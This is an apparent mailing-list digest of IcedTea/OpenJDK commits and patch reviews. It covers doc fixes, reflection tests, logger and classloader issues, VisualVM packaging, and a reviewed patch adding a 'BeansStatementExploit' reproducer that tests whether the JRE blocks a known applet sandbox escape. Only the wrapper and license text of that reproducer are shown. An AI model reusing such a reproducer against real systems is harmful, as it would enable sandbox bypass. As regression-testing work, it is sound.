src/org/gfxtest/testsuites/PrintTestBitBltCropImage.java | 20 +- src/org/gfxtest/testsuites/PrintTestBitBltMirrorImage.java | 40 +- 7 files changed, 286 insertions(+), 274 deletions(-) diffs (truncated from 2521 to 500 lines): diff -r cb9c34f9d39a -r 374fe54a78bf ChangeLog --- a/ChangeLog Fri Dec 14 10:29:53 2012 +0100 +++ b/ChangeLog Mon Dec 17 09:47:21 2012 +0100 @@ -1,3 +1,13 @@ +2012-12-17 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltBasicTests.java: + * src/org/gfxtest/testsuites/BitBltCropImage.java: + * src/org/gfxtest/testsuites/BitBltMirrorImage.java: + * src/org/gfxtest/testsuites/PrintTestBitBlt.java: + * src/org/gfxtest/testsuites/PrintTestBitBltCropImage.java: + * src/org/gfxtest/testsuites/PrintTestBitBltMirrorImage.java: + Fixed documentation for these test suites. + 2012-12-14 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: diff -r cb9c34f9d39a -r 374fe54a78bf src/org/gfxtest/testsuites/BitBltBasicTests.java --- a/src/org/gfxtest/testsuites/BitBltBasicTests.java Fri Dec 14 10:29:53 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltBasicTests.java Mon Dec 17 09:47:21 2012 +0100 @@ -77,11 +77,12 @@ @Zoom(1) public class BitBltBasicTests extends GfxTest { + /** * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -96,7 +97,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_4BYTE_ABGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -111,7 +112,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_4BYTE_ABGR_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -126,7 +127,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_BYTE_BINARY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -141,7 +142,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_INT_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -156,7 +157,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_INT_ARGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -171,7 +172,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_INT_ARGB_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -186,7 +187,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -201,7 +202,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_565_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -216,7 +217,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_555_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -231,7 +232,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_BYTE_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -246,7 +247,7 @@ * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -261,7 +262,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_BYTE_BINARY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -276,7 +277,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_INT_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -291,7 +292,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_INT_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -306,7 +307,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_INT_ARGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -321,7 +322,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_INT_ARGB_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -336,7 +337,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_4BYTE_ABGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -351,7 +352,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_4BYTE_ABGR_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -366,7 +367,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_BYTE_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -381,7 +382,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_USHORT_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -396,7 +397,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_USHORT_565_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -411,7 +412,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_USHORT_555_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -426,7 +427,7 @@ * Test basic BitBlt operation for checker buffered image with type TYPE_3BYTE_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -441,7 +442,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_BYTE_BINARY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -456,7 +457,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_INT_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -471,7 +472,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_INT_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -486,7 +487,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_INT_ARGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -501,7 +502,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_INT_ARGB_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -516,7 +517,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_4BYTE_ABGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -531,7 +532,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_4BYTE_ABGR_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -546,7 +547,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_BYTE_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -561,7 +562,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_USHORT_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -576,7 +577,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_USHORT_565_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -591,7 +592,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_USHORT_555_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -606,7 +607,7 @@ * Test basic BitBlt operation for diagonal checker buffered image with type TYPE_3BYTE_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -621,7 +622,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_BYTE_BINARY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -636,7 +637,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_INT_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -651,7 +652,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_INT_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -666,7 +667,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_INT_ARGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -681,7 +682,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_INT_ARGB_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -696,7 +697,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_4BYTE_ABGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -711,7 +712,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_4BYTE_ABGR_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -726,7 +727,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_BYTE_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -741,7 +742,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_USHORT_GRAY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -756,7 +757,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_USHORT_565_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -771,7 +772,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_USHORT_555_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -786,7 +787,7 @@ * Test basic BitBlt operation for grid buffered image with type TYPE_3BYTE_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -802,7 +803,7 @@ * TYPE_BYTE_BINARY. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -817,7 +818,7 @@ * Test basic BitBlt operation for diagonal grid buffered image with type TYPE_INT_RGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -832,7 +833,7 @@ * Test basic BitBlt operation for diagonal grid buffered image with type TYPE_INT_BGR. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -847,7 +848,7 @@ * Test basic BitBlt operation for diagonal grid buffered image with type TYPE_INT_ARGB. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d * graphics canvas * @return test result status - PASSED, FAILED or ERROR @@ -862,7 +863,7 @@ * Test basic BitBlt operation for diagonal grid buffered image with type TYPE_INT_ARGB_PRE. * * @param image - * image to used as a destination for BitBlt-type operations + * image used as a destination for BitBlt-type operations * @param graphics2d From ptisnovs at icedtea.classpath.org Mon Dec 17 01:51:36 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Mon, 17 Dec 2012 09:51:36 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 6ca3cde5c86f in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=6ca3cde5c86f author: Pavel Tisnovsky date: Mon Dec 17 10:54:42 2012 +0100 Added three new tests into the test case src/org/RhinoTests/ScriptContextClassTest.java. diffstat: ChangeLog | 8 ++ src/org/RhinoTests/ScriptContextClassTest.java | 77 ++++++++++++++++++++++++++ 2 files changed, 85 insertions(+), 0 deletions(-) diffs (116 lines): diff -r 688976f71a2d -r 6ca3cde5c86f ChangeLog --- a/ChangeLog Fri Dec 14 10:58:28 2012 +0100 +++ b/ChangeLog Mon Dec 17 10:54:42 2012 +0100 @@ -1,3 +1,11 @@ +2012-12-17 Pavel Tisnovsky + + * src/org/RhinoTests/ScriptContextClassTest.java: + Added three new tests into this test case: + - getAnnotations() + - getDeclaredAnnotations() + - getField() + 2012-12-14 Pavel Tisnovsky * src/org/RhinoTests/InvocableClassTest.java: diff -r 688976f71a2d -r 6ca3cde5c86f src/org/RhinoTests/ScriptContextClassTest.java --- a/src/org/RhinoTests/ScriptContextClassTest.java Fri Dec 14 10:58:28 2012 +0100 +++ b/src/org/RhinoTests/ScriptContextClassTest.java Mon Dec 17 10:54:42 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -359,6 +360,30 @@ } /** + * Test for method javax.script.ScriptContext.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + "ENGINE_SCOPE", + "GLOBAL_SCOPE", + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.scriptContextClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.ScriptContext.getClass().getMethods() */ protected void testGetMethods() { @@ -467,6 +492,58 @@ } /** + * Test for method javax.script.ScriptContext.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptContextClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.ScriptContext.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptContextClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.ScriptContext */ @SuppressWarnings("cast") From jvanek at redhat.com Mon Dec 17 06:39:44 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 15:39:44 +0100 Subject: Fwd: [rfc][icedtea-web] synchronised logger In-Reply-To: <50CA05DE.5040602@redhat.com> References: <50CA05DE.5040602@redhat.com> Message-ID: <50CF2EB0.7060503@redhat.com> Hi! For obvious reasons, The logger must be synchronised, otherwise, when some (or even similar) java is hanging in time of hook execution, then flush is not correct due to ConcurrentModification exception and so lost. Because of killing in testing this happens. J. -------------- next part -------------- A non-text attachment was scrubbed... Name: synchronizedLoger.patch Type: text/x-patch Size: 3804 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/cf372b22/synchronizedLoger.patch From jvanek at redhat.com Mon Dec 17 06:43:27 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 15:43:27 +0100 Subject: Fwd: [rfc][icedtea-web] @Remote and automated manual testcases In-Reply-To: <5032730C.6060706@redhat.com> References: <5032730C.6060706@redhat.com> Message-ID: <50CF2F8F.805@redhat.com> ping? -------- Original Message -------- Subject: [rfc][icedtea-web] @Remote and automated manual testcases Date: Mon, 20 Aug 2012 19:25:32 +0200 From: Jiri Vanek To: IcedTea Distro List hi! I would like to introduce Remote annotation for launching remote jnlp files (and appelts). Especially for automation of http://icedtea.classpath.org/wiki/IcedTea-Web-Tests . For jnlp files I would like to continue in way as suggested in patch (as most of them for now do not have any output :-/ [but I know that a lot of *have* output to check]). For applets there will be challenge to deal with various certficates, but it will be possible by new robot-like engien we are trying now in brno. Currently the remote tests are run in default and no sign of @remote is in html report. But both will be fixed in case that this annotation and automatism will be found worthy. Also some changes in wiki I would like to introduce after this automation is done. eg for now it will be like: ... IcedTea-Web webstart test applications Note: A lot of these are not Free Software. http://www.cs.brown.edu/exploratories/freeSoftware/repository/edu/brown/cs/exploratories/applets/fft1DApp/1d_fast_fourier_transform_java_jnlp.jnlp (automated) http://www.arbores.ca/AnnuityCalc.jnlp (automated) http://www.ucware.com/apev/jaws/apev.jnlp (not working, one needs paied account) http://phetsims.colorado.edu/sims/circuit-construction-kit/circuit-construction-kit-dc_en.jnlp (sometimes do not start, always starts with -Xtrustall, automated) http://www.topcoder.com/contest/arena/ContestAppletProd.jnlp (automatised, with -Xnofork, otherwise do not close correctly) http://java.sun.com/docs/books/tutorialJWS/uiswing/events/ex6/ComponentEventDemo.jnlp (automated) http://www.crossftp.com/crossftp.jnlp (trial, can't be automated) http://www.arbores.ca/Deposit.jnlp http://java.sun.com/javase/technologies/desktop/javawebstart/apps/draw.jnlp ... Where automatised can be links to test files. Hope that this is worthy. There is close connection with [rfc][icedtea-web] do exec java instead of plain java in javaws. If it will not able to go in, then I will need to add some killing mechanism (eg as the one in DeadlockTest - Xfork tests) Regards, J. -------------- next part -------------- A non-text attachment was scrubbed... Name: testcases.diff Type: text/x-patch Size: 9443 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/39d25cc6/testcases.diff -------------- next part -------------- A non-text attachment was scrubbed... Name: Remote.diff Type: text/x-patch Size: 6290 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/39d25cc6/Remote.diff From jvanek at redhat.com Mon Dec 17 06:46:26 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 15:46:26 +0100 Subject: Regression in icedtea-web - parent classsloader have been stopped to be invoked Message-ID: <50CF3042.1060908@redhat.com> After this commit - changeset: 514:855087771e7e tag: tip user: Adam Domurad date: Tue Aug 28 14:36:06 2012 -0400 summary: Fix for PR920: Classes attempted to load twice when class extends from outside jar There is regression that parent class loader is never used for searching in classes. I blame also review a lot (me:-/) because unittest was broken by this commit. See: CodeBaseClassLoaderTest.testParentClassLoaderIsAskedForClassesApplication as reproducer. Sorry for late notification, J. From sylvestre at debian.org Fri Dec 14 10:52:40 2012 From: sylvestre at debian.org (Sylvestre Ledru) Date: Fri, 14 Dec 2012 19:52:40 +0100 Subject: VisualVM 1.3.5 In-Reply-To: <50AA12FD.5070003@redhat.com> References: <50AA08DE.3020407@debian.org> <50AA12FD.5070003@redhat.com> Message-ID: <50CB7578.8050007@debian.org> On 19/11/2012 12:07, Jiri Vanek wrote: > On 11/19/2012 11:24 AM, Sylvestre Ledru wrote: >> Hello guys, >> >> I was wondering if you are working on the classpath version of VisualVM >> 1.3.5 ? (or 1.3.4) >> >> I would like to upload this new version in Debian & Ubuntu. >> >> If you don't have time to manage it, I can do it if you can merge my >> changes. >> >> Thanks, >> Sylvestre >> >> PS: My reference is http://icedtea.classpath.org/hg/visualvm >> please apologize if you have an other URL. >> > > Well, maintaining visualVM is my task I'm afraid. But I must admit I do > not have time for it any more(and also wee al hop eit will be soon > rpelaced by Thermostat tool). I will be happy to merge your changes. > Also I will be happy to let you forward all the release cycle as > VisualVM is really out of my scope:( > > Release process is little bit time-consuming - > http://icedtea.classpath.org/wiki/IcedTea-Web - so if you will refuse, > feel free to so, and I will hope to add your changes and then release asap. > > Thanx for notifying! You are welcome. FYI, I haven't been inactive on the subject. I reported a bug on this but I am a bit stuck until I get an answer: http://java.net/jira/browse/VISUALVM-534 Otherwise, it fails to build... Sylvestre From jvanek at redhat.com Mon Dec 17 07:14:46 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 16:14:46 +0100 Subject: [rfc] icedtea-web minor fix for two unittests Message-ID: <50CF36E6.3060606@redhat.com> This tests were wrongly adapted for lates ITW. And so they were incorrectly failing. This should fix them. J. -------------- next part -------------- A non-text attachment was scrubbed... Name: fixedUnittest.patch Type: text/x-patch Size: 6582 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/6aaa13b5/fixedUnittest.patch From jvanek at redhat.com Mon Dec 17 08:21:30 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 17:21:30 +0100 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour In-Reply-To: <50CB9307.5030801@redhat.com> References: <50CA03C5.7080500@redhat.com> <50CB9307.5030801@redhat.com> Message-ID: <50CF468A.5010606@redhat.com> On 12/14/2012 09:58 PM, Adam Domurad wrote: > On 12/13/2012 11:35 AM, Jiri Vanek wrote: >> Ok for head? >> >> J. > > I'm assuming this is OK for the repo since this has been made public before. To be exact though this > is testing a property of the JRE. > >> diff -r 855087771e7e >> tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploit.html >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploit.html Mon Sep >> 03 16:04:41 2012 +0200 >> @@ -0,0 +1,42 @@ >> + >> + >> +

> width="100" height="20"> >> +

>> + >> + >> diff -r 855087771e7e >> tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitApplet.jnlp > > Maybe 'BeansStatementBreakSandbox' would be a bit clearer. > >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitApplet.jnlp >> Mon Sep 03 16:04:41 2012 +0200 >> @@ -0,0 +1,61 @@ >> + >> + >> + >> + >> + BeansStatementExploitApplet >> + IcedTea >> + >> + BeansStatementExploitApplet >> + >> + >> + >> + >> + >> + >> + > + documentBase="." >> + name="BeansStatementExploitApplet" >> + main-class="GondvvMinimal2" >> + width="100" >> + height="100"> >> + >> + >> + >> + >> + >> diff -r 855087771e7e >> tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitWS.jnlp >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitWS.jnlp Mon >> Sep 03 16:04:41 2012 +0200 >> @@ -0,0 +1,56 @@ >> + >> + >> + >> + >> + BeansStatementExploitWS >> + IcedTea >> + >> + BeansStatementExploitWS >> + >> + >> + >> + >> + >> + >> + >> + >> + >> + >> + >> + >> diff -r 855087771e7e tests/reproducers/simple/BeansStatementExploit/srcs/GondvvMinimal2.java >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/srcs/GondvvMinimal2.java Mon Sep 03 16:04:41 >> 2012 +0200 >> @@ -0,0 +1,49 @@ >> +/* GondvvMinimal2.java >> +Copyright (C) 2011 Red Hat, Inc. >> + >> +This file is part of IcedTea. >> + >> +IcedTea is free software; you can redistribute it and/or >> +modify it under the terms of the GNU General Public License as published by >> +the Free Software Foundation, version 2. >> + >> +IcedTea is distributed in the hope that it will be useful, >> +but WITHOUT ANY WARRANTY; without even the implied warranty of >> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >> +General Public License for more details. >> + >> +You should have received a copy of the GNU General Public License >> +along with IcedTea; see the file COPYING. If not, write to >> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA >> +02110-1301 USA. >> + >> +Linking this library statically or dynamically with other modules is >> +making a combined work based on this library. Thus, the terms and >> +conditions of the GNU General Public License cover the whole >> +combination. >> + >> +As a special exception, the copyright holders of this library give you >> +permission to link this library with independent modules to produce an >> +executable, regardless of the license terms of these independent >> +modules, and to copy and distribute the resulting executable under >> +terms of your choice, provided that you also meet, for each linked >> +independent module, the terms and conditions of the license of that >> +module. An independent module is a module which is not derived from >> +or based on this library. If you modify this library, you may extend >> +this exception to your version of the library, but you are not >> +obligated to do so. If you do not wish to do so, delete this >> +exception statement from your version. >> + */ >> + >> +import java.applet.Applet; >> + >> + >> +public class GondvvMinimal2 extends Applet { > > I understand why you chose this name, but I would prefer something more descriptive of the intent of > the applet. > >> + >> + @Override >> + public void init() { >> + GondvvTestcase4.main(new String[0]); >> + >> + } >> + >> +} >> diff -r 855087771e7e tests/reproducers/simple/BeansStatementExploit/srcs/GondvvTestcase4.java >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/srcs/GondvvTestcase4.java Mon Sep 03 >> 16:04:41 2012 +0200 >> @@ -0,0 +1,181 @@ >> +/* GondvvTestcase4.java >> +Copyright (C) 2011 Red Hat, Inc. >> + >> +This file is part of IcedTea. >> + >> +IcedTea is free software; you can redistribute it and/or >> +modify it under the terms of the GNU General Public License as published by >> +the Free Software Foundation, version 2. >> + >> +IcedTea is distributed in the hope that it will be useful, >> +but WITHOUT ANY WARRANTY; without even the implied warranty of >> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >> +General Public License for 